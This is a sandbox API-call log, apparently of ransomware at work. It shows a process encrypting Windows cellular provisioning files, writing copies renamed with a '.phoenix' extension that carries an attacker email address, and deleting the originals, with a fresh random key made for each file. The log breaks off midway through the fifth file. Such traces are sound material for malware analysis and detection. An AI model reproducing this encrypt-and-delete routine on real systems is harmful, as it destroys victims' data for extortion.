	[0237.515] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.515] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=851) returned 1
	[0237.515] CloseHandle (hObject=0x2e4) returned 1
	[0237.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.515] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.516] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.516] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.516] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.516] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0237.516] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.516] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x353, lpOverlapped=0x0) returned 1
	[0237.581] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360, dwBufLen=0x360 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x360) returned 1
	[0237.581] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x360, lpOverlapped=0x0) returned 1
	[0237.582] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0237.582] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.582] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0237.582] CryptDestroyKey (hKey=0x151440) returned 1
	[0237.582] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0237.582] CryptDestroyKey (hKey=0x151400) returned 1
	[0237.582] CloseHandle (hObject=0x2e4) returned 1
	[0237.582] CloseHandle (hObject=0x2f4) returned 1
	[0237.582] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.583] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.583] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.584] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=729) returned 1
	[0237.584] CloseHandle (hObject=0x2f4) returned 1
	[0237.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.584] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.584] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.584] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.584] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.585] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1516c0) returned 1
	[0237.585] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.585] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d9, lpOverlapped=0x0) returned 1
	[0237.692] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0237.692] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0237.693] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151640) returned 1
	[0237.693] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.693] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0237.693] CryptDestroyKey (hKey=0x151640) returned 1
	[0237.693] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0237.693] CryptDestroyKey (hKey=0x1516c0) returned 1
	[0237.693] CloseHandle (hObject=0x2f4) returned 1
	[0237.693] CloseHandle (hObject=0x2e4) returned 1
	[0237.693] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.694] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.694] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.695] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=712) returned 1
	[0237.695] CloseHandle (hObject=0x2e4) returned 1
	[0237.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml")) returned 0x20
	[0237.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.695] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.695] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.696] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.696] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.696] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1512c0) returned 1
	[0237.696] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.696] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2c8, lpOverlapped=0x0) returned 1
	[0237.751] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0237.751] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0237.752] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0237.752] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.753] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0237.753] CryptDestroyKey (hKey=0x151580) returned 1
	[0237.753] WriteFile (in: hFile=0x2f4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0237.753] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0237.753] CloseHandle (hObject=0x2e4) returned 1
	[0237.753] CloseHandle (hObject=0x2f4) returned 1
	[0237.753] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml")) returned 1
	[0237.754] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.754] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.755] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=702) returned 1
	[0237.755] CloseHandle (hObject=0x2f4) returned 1
	[0237.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.755] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0237.755] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.755] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0237.755] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.756] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151440) returned 1
	[0237.756] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.756] ReadFile (in: hFile=0x2f4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2be, lpOverlapped=0x0) returned 1
	[0237.802] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0, dwBufLen=0x2c0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2c0) returned 1
	[0237.802] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2c0, lpOverlapped=0x0) returned 1
	[0237.803] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0237.803] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0237.803] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0237.803] CryptDestroyKey (hKey=0x151500) returned 1
	[0237.803] WriteFile (in: hFile=0x2e4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0237.803] CryptDestroyKey (hKey=0x151440) returned 1
	[0237.803] CloseHandle (hObject=0x2f4) returned 1
	[0237.803] CloseHandle (hObject=0x2e4) returned 1
	[0237.803] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml")) returned 1
	[0237.805] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0237.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0237.805] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=650) returned 1
	[0237.805] CloseHandle (hObject=0x2e4) returned 1
	[0237.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0237.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0237.805] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\172__Connections_Cellular_TIGO (Honduras)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\172__connections_cellular_tigo (honduras)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
